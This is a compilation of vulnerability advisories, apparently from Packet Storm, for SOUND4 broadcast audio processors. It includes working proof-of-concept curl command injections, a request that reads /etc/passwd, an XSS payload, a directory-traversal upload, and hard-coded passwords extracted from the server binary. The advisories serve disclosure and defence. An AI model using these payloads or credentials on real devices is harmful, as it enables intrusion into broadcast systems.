SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a services related authenticated command injection vulnerability.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (services) Authenticated Command InjectionVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: An authenticated command injection vulnerability exists in thewww-data-handler.php script at line 20, where the 'services' HTTP POSTparameter is passed as an argument to the system command "/usr/local/bin/www-data-handler.sh --restartsrv".This allows an attacker to inject arbitrary system commands into the'services' parameter, which are then executed by the script with theprivileges of the 'www-data' user.========================================================================/var/www/www-data-handler.php:------------------------------18: } else if(isset($_POST['services'])&&$_POST['services']!='') {19:     $ret=-1;20:     exec("/usr/local/bin/www-data-handler.sh --restartsrv ".$_POST['services'],$out,$ret);21:     echo $ret;22:     exit;23: }========================================================================Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5737Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5737.php26.09.2022--> curl --fail -XPOST -sko nul \       'https://RADIOGUGA/www-data-handler.php' \       -H 'Cookie: PHPSESSID=fnlqhsd916g59uob4fgact97bd' \       --data "services=;id>/var/www/m" \       && curl -sk 'https://RADIOGUGA/m'uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x services Command Injection

SOUND4 IMPACT/FIRST/PULSE/Eco version 2.x and below suffer from an unauthenticated file disclosure vulnerability.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (PHPTail) Unauthenticated File DisclosureVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: The application suffers from an unauthenticated file disclosurevulnerability. Using the 'file' GET parameter attackers can disclosearbitrary files on the affected device and disclose sensitive and systeminformation.========================================================================/usr/cgi-bin/loghandler.php:----------------------------05: require 'phptail.php';06: /**07:  * Initilize a new instance of PHPTail08:  * @var PHPTail09:  */10: if(isset($_GET['file']))  {11:     $file=$_GET['file'];12:     $file_display=$_GET['file_display'];13: } else {14:     $file=getenv("PATH_TRANSLATED");15:     $file_display="SOUND4 Log: " . getenv("PATH_INFO");16: }17: $tail = new PHPTail($file, $file_display);========================================================================/usr/cgi-bin/phptail.php:-------------------------71: $data = array();72: if($maxLength > 0) {73:74:     $fp = fopen($this->log, 'r');75:     fseek($fp, -$maxLength , SEEK_END);76:     $data = explode("\n", fread($fp, $maxLength));77:78: }79: /**80:  * If the last entry in the array is an empty string lets remove it.81:  */82: if(end($data) == "") {83:     array_pop($data);84: }85: return json_encode(array("size" => $fsize, "data" => $data));========================================================================Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5736Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5736.php26.09.2022--> curl -k "https://RADIOGAGA/cgi-bin/loghandler.php?ajax=251&file=/mnt/old-root/etc/passwd" | python -m json.tool{    "size": 519,    "data": [        "root:x:0:0:root:/root:/bin/sh",        "daemon:x:1:1:daemon:/usr/sbin:/bin/false",        "bin:x:2:2:bin:/bin:/bin/false",        "sys:x:3:3:sys:/dev:/bin/false",        "sync:x:4:100:sync:/bin:/bin/sync",        "mail:x:8:8:mail:/var/spool/mail:/bin/false",        "www-data:x:33:33:www-data:/var/www:/bin/false",        "operator:x:37:37:Operator:/var:/bin/false",        "nobody:x:99:99:nobody:/home:/bin/false",        "sound4:x:1000:1000::/home/sound4:/bin/sh",        "avahi:x:1001:1001::/:/bin/false",        "dbus:x:1002:1002:DBus messagebus user:/var/run/dbus:/bin/false",        "sshd:x:1003:1004:SSH drop priv user:/:/bin/false"    ]}

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x Unauthenticated File Disclosure

SOUND4 IMPACT/FIRST/PULSE/Eco version 2.x and below suffer from a conditional command injection vulnerability in ping.php.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (ping.php) Conditional Command InjectionVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: This vulnerability allows a local authenticated user to create afile in the /tmp directory that contains malicious commands. The filemust have the filename ending with .ping.pid, and the commands in thefile can only be executed once by an external unauthenticated attacker.By calling the vulnerable script and making a single HTTP POST request,the attacker can gain command execution on the system. After the requestis made, the file containing the malicious commands will be deleted.-------------------------------------------------------------------------/var/www/ping.php:------------------02:    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['ping_host']) && isset($_POST['networkid'])) {03:        $pidfilename="/tmp/" . $_POST['networkid'] . ".ping.pid";04:        if( file_exists($pidfilename)) {05:             $procid=file_get_contents($pidfilename);06:             shell_exec("pkill -P ".$procid);07:        }......29:            unlink($pidfilename);30:            exit();-------------------------------------------------------------------------Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5735Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5735.php26.09.2022--#On the server> echo ";id>/var/www/b" > /tmp/251.ping.pid#External> curl -XPOST -sk https://RADIO/ping.php --data "ping_host=r00t&networkid=251"> curl -XPOST -sk https://RADIO/buid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x ping.php Command Injection

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from an unauthenticated radio stream disclosure vulnerability.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x Unauthenticated Radio Stream DisclosureVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: The application suffers from an unauthenticated live stream disclosurewhen webplay or ffmpeg scripts are called.Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5734Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5734.php26.09.2022--1. https://RADIO/webplay/mp3/1282. https://RADIO/cgi-bin/ffmpeg.cgi?codec=mp3&bitrate=128

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x Radio Steam Disclosure

SOUND4 IMPACT/FIRST/PULSE/Eco version 2.x and below suffer from a conditional command injection vulnerability in dns.php.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (dns.php) Conditional Command InjectionVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: This vulnerability allows a local authenticated user to create afile in the /tmp directory that contains malicious commands. The filemust have the filename ending with .dns.pid, and the commands in thefile can only be executed once by an external unauthenticated attacker.By calling the vulnerable script and making a single HTTP POST request,the attacker can gain command execution on the system. After the requestis made, the file containing the malicious commands will be deleted.-------------------------------------------------------------------------/var/www/dns.php:-----------------02:    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['dns_host']) && isset($_POST['networkid'])) {03:        $pidfilename="/tmp/" . $_POST['networkid'] . ".dns.pid";04:        if( file_exists($pidfilename)) {05:             $procid=file_get_contents($pidfilename);06:             shell_exec("pkill -P ".$procid);07:        }......29:            unlink($pidfilename);30:            exit();-------------------------------------------------------------------------Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5733Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5733.php26.09.2022--#On the server> echo ";id>/var/www/b" > /tmp/251.dns.pid#External> curl -XPOST -sk https://RADIO/dns.php --data "dns_host=m00t&networkid=251"> curl -XPOST -sk https://RADIO/buid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x dns.php Command Injection

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from an information disclosure vulnerability.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (Index of /log) Information DisclosureVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: The application is vulnerable to sensitive directory indexing /information disclosure vulnerability. An unauthenticated attacker canvisit the log directory and disclose the server's log files containingsensitive and system information.Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5732Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5732.php26.09.2022--> curl -k "https://RADIO/log/

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x Information Disclosure

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a username persistent cross site scripting vulnerability.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (username) Stored Cross-Site ScriptingVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: The application suffers from an unauthenticated stored XSS vulnerabilitythat results in stored JS code and authentication bypass. The issue is triggeredwhen input passed to the 'username' parameter is not properly sanitized beforebeing returned to the user. This can be exploited to execute arbitrary HTMLand script code in a user's browser session in context of an affected site.Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5731Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5731.php26.09.2022--POST /index.php HTTP/1.1username="><script>confirm(251)</script>&password=zeroscience"

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x Persistent Cross Site Scripting

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Adversary3 3.0

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from an unauthenticated directory traversal file write vulnerability.

    SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x Directory Traversal File Write ExploitVendor: SOUND4 Ltd.Product web page: https://www.sound4.com | https://www.sound4.bizAffected version: FM/HD Radio Processing:                  Impact/Pulse/First (Version 2: 1.1/2.15)                  Impact/Pulse/First (Version 1: 2.1/1.69)                  Impact/Pulse Eco 1.16                  Voice Processing:                  BigVoice4 1.2                  BigVoice2 1.30                  Web-Audio Streaming:                  Stream 1.1/2.4.29                  Watermarking:                  WM2 (Kantar Media) 1.11Summary: The SOUND4 IMPACT introduces an innovative process - mono andstereo parts of the signal are processed separately to obtain perfectconsistency in terms of both sound and level. Therefore, in movingreception, when the FM receiver switches from stereo to mono and back tostereo, the sound variations and changes in level are reduced by over 90%.In the SOUND4 IMPACT processing chain, the stereo expander can be usedsubstantially without any limitations.With its advanced functionalities and impressive versatility, SOUND4PULSE gives clients the ultimate price - performance ratio, providingmuch more than just a processor. Flexible and powerful, it ensures perfectsound quality and full compatibility with radio broadcasting standardsand can be used simultaneously for FM and HD, DAB, DRM or streaming.SOUND4 FIRST provides all the most important functionalities you needin an FM/HD processor and sets the bar high both in terms of performanceand affordability. Designed to deliver a sound of uncompromising quality,this tool gives you 2-band processing, a digital stereo generator and anIMPACT Clipper.Desc: The application suffers from an unauthenticated directory traversalfile write vulnerability. Input passed through the 'filename' POST parametercalled by the 'upgrade.php' script is not properly verified before being usedto upload .upgbox Firmware files. This can be exploited to write to arbitrarylocations on the system via directory traversal attacks.Tested on: Apache/2.4.25 (Unix)           OpenSSL/1.0.2k           PHP/7.1.1           GNU/Linux 5.10.43 (armv7l)           GNU/Linux 4.9.228 (armv7l)Vulnerability discovered by Gjoko 'LiquidWorm' KrsticMacedonian Information Security Research and Development LaboratoryZero Science Lab - https://www.zeroscience.mk - @zeroscienceAdvisory ID: ZSL-2022-5730Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5730.php26.09.2022--POST /cgi-bin/upload.cgi HTTP/1.1Host: RAAAADIOOOContent-Type: multipart/form-data; boundary=----zzzzzUser-Agent: TheViewing/05Accept-Encoding: gzip, deflate------zzzzzContent-Disposition: form-data; name="upgfile"; filename="../../../../../../../tmp/pwned"Content-Type: application/octet-streamt00t------zzzzzContent-Disposition: form-data; name="submit"Do it------zzzzz--

SOUND4 IMPACT/FIRST/PULSE/Eco 2.x Directory Traversal / File Write

SOUND4 IMPACT/FIRST/PULSE/Eco versions 2.x and below suffer from a hardcoded credential vulnerability.

  
SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (sound4server) Hardcoded Credentials

Vendor: SOUND4 Ltd.  
Product web page: https://www.sound4.com | https://www.sound4.biz  
Affected version: FM/HD Radio Processing:  
                  Impact/Pulse/First (Version 2: 1.1/2.15)  
                  Impact/Pulse/First (Version 1: 2.1/1.69)  
                  Impact/Pulse Eco 1.16  
                  Voice Processing:  
                  BigVoice4 1.2  
                  BigVoice2 1.30  
                  Web-Audio Streaming:  
                  Stream 1.1/2.4.29  
                  Watermarking:  
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and  
stereo parts of the signal are processed separately to obtain perfect  
consistency in terms of both sound and level. Therefore, in moving  
reception, when the FM receiver switches from stereo to mono and back to  
stereo, the sound variations and changes in level are reduced by over 90%.  
In the SOUND4 IMPACT processing chain, the stereo expander can be used  
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4  
PULSE gives clients the ultimate price - performance ratio, providing  
much more than just a processor. Flexible and powerful, it ensures perfect  
sound quality and full compatibility with radio broadcasting standards  
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need  
in an FM/HD processor and sets the bar high both in terms of performance  
and affordability. Designed to deliver a sound of uncompromising quality,  
this tool gives you 2-band processing, a digital stereo generator and an  
IMPACT Clipper.

Desc: The server binary has hard-coded credentials within its Linux and  
Windows distribution image. These sets of credentials are never exposed  
to the end-user and cannot be changed through any normal operation of the  
device. To add/modify other credentials you need to use the SOUND4 Remote  
Control thick client.

Tested on: Apache/2.4.25 (Unix)  
           OpenSSL/1.0.2k  
           PHP/7.1.1  
           GNU/Linux 5.10.43 (armv7l)  
           GNU/Linux 4.9.228 (armv7l)  
           Windows 10  
           SOUND4 Server v4.1.102  
           SOUND4 Remote Control v4.3.17

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Macedonian Information Security Research and Development Laboratory  
Zero Science Lab - https://www.zeroscience.mk - @zeroscience

Advisory ID: ZSL-2022-5729  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5729.php

26.09.2022

--

> grep -irnH -A2 -B2 "Password=" /opt/sound4/sound4server

/opt/sound4/sound4server-1232889-Active=%s;  
/opt/sound4/sound4server-1232890-  
/opt/sound4/sound4server:1232891:ActiveOnPassword=%s;  
/opt/sound4/sound4server-1232892-  
/opt/sound4/sound4server-1232893-  
--  
/opt/sound4/sound4server-1233290-  
/opt/sound4/sound4server-1233291-  
/opt/sound4/sound4server:1233292:Password='hes2faB7Zub7chuF';  
/opt/sound4/sound4server-1233293-UserType='BrokenConnection_User';  
/opt/sound4/sound4server-1233294-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233302-  
/opt/sound4/sound4server-1233303-more_rightusers  
/opt/sound4/sound4server:1233304:Password='hes2faB7Zub7chuF';  
/opt/sound4/sound4server-1233305-UserType='LocalConnection_User';  
/opt/sound4/sound4server-1233306-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233312-  
/opt/sound4/sound4server-1233313-_local_rds_  
/opt/sound4/sound4server:1233314:Password='FaK7Kaph';  
/opt/sound4/sound4server-1233315-UserType='LocalConnection_RDS';  
/opt/sound4/sound4server-1233316-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233323-_local_vu_  
/opt/sound4/sound4server-1233324-  
/opt/sound4/sound4server:1233325:Password='PrE4awrE';  
/opt/sound4/sound4server-1233326-UserType='LocalConnection_VU';  
/opt/sound4/sound4server-1233327-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233331-_local_sw_  
/opt/sound4/sound4server-1233332-  
/opt/sound4/sound4server:1233333:Password='bras2awA';  
/opt/sound4/sound4server-1233334-UserType='LocalConnection_Switch';  
/opt/sound4/sound4server-1233335-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233340-  
/opt/sound4/sound4server-1233341-  
/opt/sound4/sound4server:1233342:Password='ELhp7e5DkpwVUAfJ';  
/opt/sound4/sound4server-1233343-UserType='LocalConnection_User';  
/opt/sound4/sound4server-1233344-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233363-  
/opt/sound4/sound4server-1233364-  
/opt/sound4/sound4server:1233365:Password='bDAtfKJ0';  
/opt/sound4/sound4server-1233366-UserType='LocalConnection_FrontPanel';  
/opt/sound4/sound4server-1233367-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233370-  
/opt/sound4/sound4server-1233371-<user="Admin">  
/opt/sound4/sound4server:1233372:    Password="21232F297A57A5A743894A0E4A801FC3"; // admin  
/opt/sound4/sound4server-1233373-    UserType="Superadmin";  
/opt/sound4/sound4server-1233374-    CanBeRemove=false;  
--  
/opt/sound4/sound4server-1233748-  
/opt/sound4/sound4server-1233749-  
/opt/sound4/sound4server:1233750:Password="SroqZQesQAJgaLF";  
/opt/sound4/sound4server-1233751-UserType="_local_LoadPreset_";  
/opt/sound4/sound4server-1233752-CanBeRemove=false;  
--  
/opt/sound4/sound4server-1237511-  
/opt/sound4/sound4server-1237512-  
/opt/sound4/sound4server:1237513:Password="";  
/opt/sound4/sound4server-1237514-UserType="PresetSharing";  
/opt/sound4/sound4server-1237515-UserType="PresetSharing";  
--  
/opt/sound4/sound4server-1237517-CanBeModify=false;  
/opt/sound4/sound4server-1237518-Active=false;  
/opt/sound4/sound4server:1237519:ActiveOnPassword=true;  
/opt/sound4/sound4server-1237520-CanBeList=false;  
/opt/sound4/sound4server-1237521-PinEnable=false;

---

> C:\>strings.exe "C:\Program Files\SOUND4\Server\SOUND4 Server.exe" |findstr /spina:d "Password="  
204080:Password="SroqZQesQAJgaLF";  
204276:Password="";  
204282:ActiveOnPassword=true;  
205582:Password='bDAtfKJ0';  
205589:    Password="21232F297A57A5A743894A0E4A801FC3"; // admin  
205594:Password='ELhp7e5DkpwVUAfJ';  
205605:Password='PrE4awrE';  
205611:Password='bras2awA';  
205616:Password='hes2faB7Zub7chuF';  
205624:Password='FaK7Kaph';  
205683:Password='hes2faB7Zub7chuF';  
205836:ActiveOnPassword=%s;  
205845:Password=%s;

Source

Packet Storm